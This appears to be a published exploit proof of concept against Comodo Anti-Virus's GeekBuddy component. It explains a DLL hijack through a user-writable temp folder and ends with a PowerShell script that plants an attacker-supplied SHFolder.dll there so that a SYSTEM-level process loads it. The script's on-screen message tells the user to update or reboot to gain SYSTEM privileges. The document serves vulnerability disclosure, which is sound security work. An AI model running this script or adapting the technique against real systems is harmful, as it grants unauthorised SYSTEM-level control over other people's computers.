Comodo Anti-Virus – ‘SHFolder.dll’ Local Privilege Escalation
<# ````......```` ``,;''''''''''''''''';,` .;''''''''''''''''''''''''''',` `:''''''''+';:,.``````.,:;'''''''''':` ,;'''''';,.` ``,;'''''';: `:'''''',. `,'''''';. `;+''+':` ,; `,''''';. `;'''';. `` .:;'` `. `;'''''. ` :+''';` `,``:+'' ';;'`,''; `` `` :'''';` .'''';` ,';' '':'` ';,'`'',' :''' .''` :'''', `;''''` ;'' :+.` ;';, ';:' ''''`,;:+ '', `;''''` .''''. ;:`, .'.':`'''.:;`;. +;:' '::; ;''' '; .'''', :''';` ` '''',`':'' ..;:`','` '''' ':;;`'`';`':` :; :'''; ;''+, .;`.'.'' ';.'`';': ,:. ` ` ` `,: .';',,'`;'.`';': .+'''` `''''` ;'; ''.'.,','` ,` ``;`'' .`;'`''+: ;'''` `'''' ., .'' ,'.'' ;;. ```````` `. ``'::'`;; ` :'''. ``''': `+,` .':`'',' `,;''''''''''+'':.` ;'.+:;'``': .'''. `''', '', ''`:; `:'''''''''''''''''''''';. `;'`': ''`'` .''', `''', ` `''` `'; .''''''''''''''''''''''''''''';` `.;' ;'.''`.: `''', `''', :''.`'' ` ,;'''''''''''''''''''''''''''''''';. ` `,.'::', ''` .'''. ''', '.''`,': ,'''''''''''''''''''''''''''''''''''''', ` .+,'; ''; .'''` ''': ''`'' ;. `'''''''''''''''''';:::;';'''''''''''''''''. ;' :': ,,` .''' :''; `''.'` ` :''''''''''''';:::.', `''';`:;'+'''','''''+; `,'; :''' ,''' .''' `` .++; `''''''''''''`. `': '''; `:''' :'''''''. .+ :''.+. :'': `''+ :'': `` ,''''''''''''' `': '''; `: ,'''''''': .`''.'' ` '''` ;''. `+.',; ;'''':''''''''; ` ', .'''': ` :''''';'''; `'.',`,', `+'' ,'': '';,'. ;''''':''''''''`+` ;..`;'+''. '.:''''';'''''```.+' +:'` .''; `''' `;``+',;.` ;''''':''''''''.'; `;'', '` '' ;''''','''''` ;,+.+. ;''. ;'+. :'': ;': ;'''''':''''':',''. `'';.+' '` ,'; .'''';''''''` `+.':` `''' `'': .+`;''` ` ;'''''':''''''.::''. .''. :: `'';`,'''':''''''` :+'. ,'', '''` :''.:'' :''''''':'''''; :'''' .'', `.,; :+'`''': ;''',''''''' ,` ''' .'': `'';`` ,''''''':;''''':`''';', ,''+` ,+':' +'''''''`,'''''''''''; .+` .'': ''' `''. :', `''''''':`'''''+.;';.:::::::,,''';`'': . .'''''''; ''''.''''''', ` ;'': ''' .'', ','';`. '''''''; :'''''' `,;'''''''''.``` . ''''';:,`:;''+`'''',,'''''''` :'';` `+': '''` ''.,'; ;''''''; ''''',`,'''''''''''''.....,,,.`''''''''';;,,;.''''; :''''''' '''. ;'' `'': .'';:; `'''''''` .+'', ,''''''''''''; '''''''++`''''':..:'''' `''''' ;'''''', ., `` .'', ` :'' :''` ''''''+` ;''``;'''''''''''''':``,,.`````,'''''. ';.;'''` `'''''''` .++. ''; +'' ,'''''': ;+`,'''''''''''''''''+''';;;;'''''''+` :;+,`''. `.''''''; .+'''` :'+` ,''. ': +'''''; ,,;''''''''''''''''''''''''''''''''''. `.::,` `';.', ;''''''` :'': `. `''; ;'' :;.;': ,''''''. `''''';;;,`.:'''''''''''''''''''''''''.;''''''':`;;;, `''''''; `.; .;'+` ;'' '': ` ;';';' ''''''; ''';;''''''',`.'',` .:;;''''''''''.,'''''''''''.;;. ,'''''' `;''''. .''` .''. .';`;' .''''''. :+;;''''''''''': ;' ::::...;''+'':,'''';..``;''';. ''''''; `:''.`': `'': :'' ` ,'` ;''''''. :;'''''''''''''';`;, `,''';` .:;;;'''': ,'''''' .,''', ''' ;'; ''';,` `''''''''''` :''''''''''';.:'''`';:` ,''';`;''''''''''', ''''''. ;';,` :''` `'', .;,'''; ,'''''''''' ;'''''''''':` :'''`::` ``'''',+''''''''''''+` ;'''''; .``.:;` `''. .''` `+;'`;` '''''''''';.'''''''',` ''';` :''';'''';::;'''''';; ` `''''''` ;'';;; `+': :'' ..;'' `''''''''''`'''''''', .'''` `+''';''. ,'''''''''''''''''''''''''''''''''''''':` ;'' :. `` .'''''''''';'''''''' ;''; ;''':::` :'''''''''''''''''''''''''''''''''''''''', ;': '''':` :'''''''''''''''''',` .''' ''''. `+''''''''''''''''''''''''''''''''''''''''' '', :,;'': ;''''''''''''''''''` ;''... :''''` :''''''''''''''''''''''''''''''''''''''''''` `''. `+'':,` ''''''''''''''''''; ,'';.+` . ,;''' `''''''''''''''''''''''''''''''''''''''''''; .''. `.,;'; '''''''''';''''''', ''',+. `` .' .''' ''''''''+'''''''''''''''''''''''''''''''''', .'+` ;''''' `` '''''''` `;''''.'++','`+.''' ''''''; `;+'''''' ,'' ''''';; ,'''';'''';'``.''' :''''''` .'''''': :'+ '''''': .'''';'''';'` .''' ,''''''` ,'''''; :'' ,''''', ''''''` .'''';'''';', .'''` .''''''` '''''' ;'' `''''''; :''''', '''''' .'''';'''';':,''''. .''''''` '''''' ;'' `';''''' :''''', :''''; :''''''''';''.''''' `''''''` ;''''' ;'' :''''', ,''''' `+''''''''':''.'''''` ,'''''; '''''' :'+ ,''''', `'''''. ,'''''''''':''::''''; ;''''': `'''''' :'' ```. ,''''': ''''': `''''''''''',''+`'''''. `''''''. :'''''' ,''` `''''''' .'''''; `''''': '''''''''''';''',,''''', ''''''' ,'''''', .''` `''':,.; `'''''' `'''''': '''''''''''''';'''`'''''':. `,''''''', .'''''''' `''` `,;;;''` '''''' `'','''';,` `,''''''''''''''',''':.''''''''''''''''''':` ;'''''''''''''''''''''''''''''', '', `+';;, '''''' `''`,'''''''''''''''''''''''''''':''''.:''''''''''''''''',+ ''''''''''''''''''''''''''''''; '': ` `,. ;'''''. `''' .''''''''''''''''''''''''''''.''''`;''''''''''''''':;; `''''''''''''''''''''''''''';'; ;'; ,''''; :''''': `''''``'''''''''''''''''''''''''''`:''''`;''''''''''''';,', ,''''''''''''''''''''''''''''; ;'' ';;,.. .'''''' `''';; :''''''''''''''''';'''''''. '''''`;'''''''''''';+'` ;'''''''''''''''''''''''''';. :'' `,:;''' ''''''` `'''`';` `;'''''';,''''''';''''''', .'''''..''''''''''''+: '''''''';''''''''';''''';,` .''. .''',` ;''''': ` ''':;''. ````` :+'''''',;''''''', '''''';..;''''''''''` `'''''' `,'': `+': '': ` .;. ,'''''+ .'';,'''''''';:''''''''','''''''': ;'''''''''.`,''''''' ;'''''; ,'', .''. ''; :+.++` `''''''. +'''`'''''''''''''''''''.''''''''', .''';;'':,,'''''''', ''''''. ':''', :''` :'' ,';:.'. ;'''''' ''''.:''''''''''''''''';;'''''''''''.'''. `:;'''''':'': :'''''' ';,.:' ''' .''. .;:''' .''''''` ,'''':`''''''''''''''''':''''''''''';''''.`;'''''''''.'''', '''''': ,'''', `'': ''; ;';, ;` '''''';.+''''' ''''''''''''''''':''''''''''': :'':'''''''''',;''''': :'''';' ,. .;: ,''` ;'' `;', `,'''''''''''''.,'''''''''''''';','''';:.`` `,.;'''''''''''.+''''''.''''''; ,'+'. ''' .''. '''';` ''''';''''''';`'''''''''''''':.'';:,;'''':` ,:`:''''''''','',`:''':''''''` '.:''' `'': ''' :'': `:. ,'''';;'''''''`;'''''''''''',:';`:'',,``.:'. `':`+''''''';:'',':';.''''''; `'''..' :'' :''` `,. ;:++` ''''';,'''''';`''''''''''';;',.''....,.. ,';:.'.`'''''''.'''','';+'''''' ;. ,+''` ''; `'': `'',`;: `'''''',''''''.:''''''''''`+.,';:''''''';.:''':'`,''''''`'''':''''''''', :':;` ,' ,'', ;''` `+.''+` ` :'''''','''''' '''''''''' `.'''''''''''''::'''', +'''':,''''`;'''''''' +.''+; ''' `'': ;'';` ` ''''''':''''';`'''''''', '''''''''''''''.,''''`''''',:''''`,'''''''` '''.:'; .'': ''+` ,` ,+: `'''''','''''':`'''''''` :'''''''''''''; ;'''`+''''`;'''':+''''''.` ` :'':;, ''' .'': ;';''. .'''''';'''''',`'''''+ ''''''''''''''` .,'';.''''' '''''''''''': +'``;'; .'', ''+` :''; ,'` :''''','''''''.,''''' ,'''''''''''''' :''''';''''','''';''''''; ,.''. .`` ''' `';; `+. ;'':' :''''':'''''''.:'''; ;''''''''''''': `'''''''''''.'''''.'''''' :';`''; :''. :'',` `'':.''` ;'''';;:''''''`'''; '''''''''''''': .'''''''''''.''',;'''''' ` :''.'''` `''' ''' ;'.:''` ;''''';:''''':''';.'';''''''''''': ,'''''''''':;'':+''''''` .''``'+',: '''` .';; `;;'; ` :''''':'''''';'''`'';''''''''''': ,''''''''''`''';'''''; .,''` :` ,'': ;'', `', `'. ,''''';''''';'''''':''''''''''': .''''''''',`+';,''''; ``.'''; ``''' '''` `'';: ` .'''':'''''`'''''';;''''''''''; `'''';'''',.`''+,'', ,'`:'''''` '''` .''' ;'.'' `;''''''''.''''''':'''';:,''';. ,''';''''',;'''',` `;''''''';. ;'', ,''; ''.;', ,';''''';,''''''`+,` .;:;''',,'';'''+.;''''',```:+,''''''''''.:''; ;''; ''';', '. `,''''''.'''''' `.:;'+''''+''';.,.''':,''''''` ``'''''''''''''','' ''': .,,': :': +''''''',''';.:'+,.` `.:''':`''''''''''; `'':'''''''''''''',` ''': ` .'' `'`;'''''''..,.:+,` ``.,.` ,'''`;'''''''+.';'.:'''':;'''''+:.'` ''': ;:`+'` ,:..,''''''; .+: `:'+''''';` ;'; .''''': `:';:+''';`''''''. .': `'''; ; ;'. .';'`;'''',;'. .+''''''''''` ;;'+:'''; .+'''''''';''''''.;,''; `'''' ,'; :'`'`;'''':+` `'''''''''''': ;'';'''`;''''''''''''''''',.'''; `'''' ` ` `':. ';''.+. `''''''''''''; `'''''::'''.'''',`'''''': :';;'' ''''. :;,'`:'.';', '''''''''''': ,'''','''..''': '''';;:,''. `'' :''': `.+'' '''',' :''''''''''+. ''''''':`'''' .''';:;`.'.:' '; ,''''` `,` ',;:'. `;;;,``'''::::;''; :';, ,'''''' ;'''` +'''.''+'.:'+`': `'''': ` ;'':' '''''+;.; `` ,:`''''', `'''''`,'''' :'''.''''..''','. :''''. .,': :'''''''.`;'''';` .''''''` '''':`+'''``''',;'''``''';:'. `'''''` `.'` ''''''';`'''''''': ,'''''; ;'''`''''; ''';:'''. ;''','' ,'''''` `.'` '''''''.'''''''''', +'''''` ,'';.''''`''''`+''' ,''''`.: :''''', .' '''''''.'''';:.,'''`''''''. .''''''':.''',;'''``;,',' '. `:+'''';..; '''''':,''':'''.:''.'''''': `'`''''' ''''`''': ' ::.:`+ `,''''':' ''''''::''+`''',;''.;''''', `'.'''';`'''.;'''`:.,+`'`,: .;+':' '''''';.''''';`,'''.''''''` `'.''''.,'''`'''.`;`+;`' + .:+` '''''''`''''''+'''+.'''''; .' ;''' ;''.;,'' ' ''.:``: '. :'''''':.+'''''''',;''''', ;: ;''; '''.'.,;,,:'' '`' ;; `'''''''``;'''''',`,''''' `'` ''',.''',.:;`' ''.,.`; .+ ''''''' ` `.,,.`'; '''; :; `''+`;'';;: :.;`',`; ;` +: `'''''``';;;;;'''', `` `+. `''' '''::;;:;`;'`;.., ,' ``.. `+''''''''''+` :' `'';`''':. ,.',''.; ' `+' :'''''''''''', `+.` '',.''',. :,''''+ ; .', ;''''''''''''. ': ''.,''':` ;.''''.,. :'. :''''''''''', ;'` ''.:''',':;.''':.: ''. ,:''''',` ;+` :'.:'''' ':`''; ; `'', ''. ::,''''``; :, ' ;+;` .'+` ``'':'`,; '`` ,'';. `.'';` :';'.,; '. `,''';:::::;'''. ``+;' +` `,:''''';,` ,,; SHFolder.DLL Local Privilege Elevation Exploit for Comodo Anti-Virus GeekBuddy Component by @Laughing_Mantis (Greg Linares) Since it took 146 days to fix a DLL Hijack issue I decided to drop this PoC: ###Technical Geeky Stuff### GeekBuddy stores several helper applications within the C:\ProgramData\Comodo\lps4\temp folder. These binaries are individual components of the Comodo Security Suite and are executed whenever their related function is performed, updated, or uninstalled. The directory listing is as follows: 10/06/2015 12:08 AM <DIR> . 10/06/2015 12:08 AM <DIR> .. 10/02/2015 10:43 PM 27 download.cfg 10/02/2015 10:47 PM 637,864 setup_clps_application_vulnerability_monitor_release-4.10.307677.9.exe 10/02/2015 10:44 PM 2,196,272 setup_clps_autoruns_manager_api_release-4.14.330616.6.exe 10/02/2015 10:44 PM 547,088 setup_clps_boot_time_monitor_release-4.12.315371.9.exe 10/06/2015 12:07 AM 1,014,024 setup_clps_browser_addons_api_release-4.0.292287.4.exe 10/02/2015 10:44 PM 554,240 setup_clps_browser_addons_monitor_release-4.12.315370.6.exe 10/06/2015 12:06 AM 950,864 setup_clps_client_transaction_release-4.19.365037.89.exe 10/06/2015 12:08 AM 563,896 setup_clps_cross_selling_installer_monitor_release-4.12.318569.13.exe 10/02/2015 10:43 PM 768,032 setup_clps_cspm_alert_monitor_release-4.19.360508.5.exe 10/06/2015 12:08 AM 581,432 setup_clps_immaturely_closed_sessions_monitor_release-4.21.366534.6.exe 10/02/2015 10:47 PM 459,432 setup_clps_memory_monitor_release-4.10.301764.3.exe 10/02/2015 10:46 PM 1,152,480 setup_clps_system_cleaner_api_release-4.2.292287.3.exe 10/06/2015 12:07 AM 1,989,272 setup_clps_system_cleaner_monitor_release-4.12.317464.8.exe 10/06/2015 12:07 AM 648,912 setup_clps_windows_event_monitor_release-4.19.362032.8.exe 10/02/2015 10:43 PM 1 survey_version.txt 10/06/2015 12:05 AM <DIR> updates The C:\ProgramData\Comodo\lps4\temp\ folder has the following permission configuration: C:\ProgramData\Comodo\lps4\temp NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F BUILTIN\Administrators:(OI)(CI)(ID)F CREATOR OWNER:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R BUILTIN\Users:(CI)(ID)(special access:) FILE_WRITE_DATA FILE_APPEND_DATA FILE_WRITE_EA FILE_WRITE_ATTRIBUTES Notice how the folder allows Users to have FILE_WRITE_DATA and FILE_WRITE_EA access. This allows non-administrator users the ability to create files in the directory but not delete or modify existing files. Comodo's main service engine is controlled by the SYSTEM service Launcher-Service.exe which resides in the C:\Program Files (x86)\Common Files\COMODO\ folder. This service is auto launched by the registry key HKLM\System\CurrentControlSet\Services\CLPSLauncher This binary will then launch Unit_Manager.exe in the C:\Program Files\COMODO\GeekBuddy with SYSTEM level privielges. This binary in turn then launches the binary C:\Program Files\COMODO\GeekBuddy\unit.exe to handle each sub process in the C:\ProgramData\Comodo\lps4\temp\ folder. During client connections to update servers and Geek Buddy executions the unit.exe binary will launch the binary setup_clps_client_transaction_release-4.19.365037.89.exe. This setup binary has hardcoded DLL loading procedures to look for SHFOLDER.DLL in the current directory which it is executed from. .data:00409240 dd offset aShfolder ; "SHFOLDER" .data:00409244 dd offset aShgetfolderpat ; "SHGetFolderPathA" During this delay load procedure the exe will load SHFOLDER.DLL from its local directory before looking in the other PATHS variables. By planting a malicious SHFOLDER.DLL in the C:\ProgramData\Comodo\lps4\temp\ and triggering an update or client connection to secure servers (which occurs automatically at user login) a user can elevate their privileges to SYSTEM and compromise the system fully. ######### GREETZ ###################################################################################### 1st off all my new homies in the Vectra Networks Research Team - you guys are seriously legit mad #respect to everyone here. #Humbled @taviso - keep killing it and thanks for being an inspiration @bill_billbil - sup girl chicken rico n chill @tacticalRCE - Its no 100 mile rides but will miss all the good times. C-ya around mang. @hellNBak_ - drop tehm greetz like its 2003 @hacksforpancakes - make plans for other NullCon in 2016 ;) @jduck - we gonna juke some more toyotas next time you come visit @hdmoore - good luck with your ventures good sir @jsoo - dont give up good sir - you're doing awesome @thegrugq - when i grow up i hope im half as wise as you good sir @daveaitel - Triangular Anus logos are the best @da_667 - AYYYYYYYYYYYYYY LMAO @bonovoxly - Clever Girls Wear Pink on Wednesdays Derek Soeder - Respect to you brother, keep on being awesome Benny 29A - next time im in CZ lets get beers, im buying Yuji Ukai - #RESPECT to everything you have ever done and will ever do. #Ninja Sizzop - for fixing my greetz ######################################################################################################### #> Param ( [Parameter(ValueFromPipelineByPropertyName = $true)] [string]$DLL = "" ) if (!(Test-Path $DLL)) { throw "Fatal Error: The specified file: $DLL does not exist." } Copy-Item -Path $DLL -Destination "C:\ProgramData\Comodo\lps4\temp\SHFolder.dll" -Force Write-Host "Copying $DLL to the Comodo AV GeekBuddy's insecure temp folder as SHFolder.dll" -ForegroundColor Red [void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") $objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon $MyPath = Get-Process -id $pid | Select-Object -ExpandProperty Path $objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($MyPath) $objNotifyIcon.BalloonTipIcon = "Info" $objNotifyIcon.BalloonTipText = "Hijacked SHFolder.DLL with $DLL. Now manually update Comodo Anti-Virus using the GUI or Reboot the system to gain SYSTEM Level Privileges" $objNotifyIcon.BalloonTipTitle = "@Laughing_Mantis" $objNotifyIcon.Visible = $True $objNotifyIcon.ShowBalloonTip(8000) |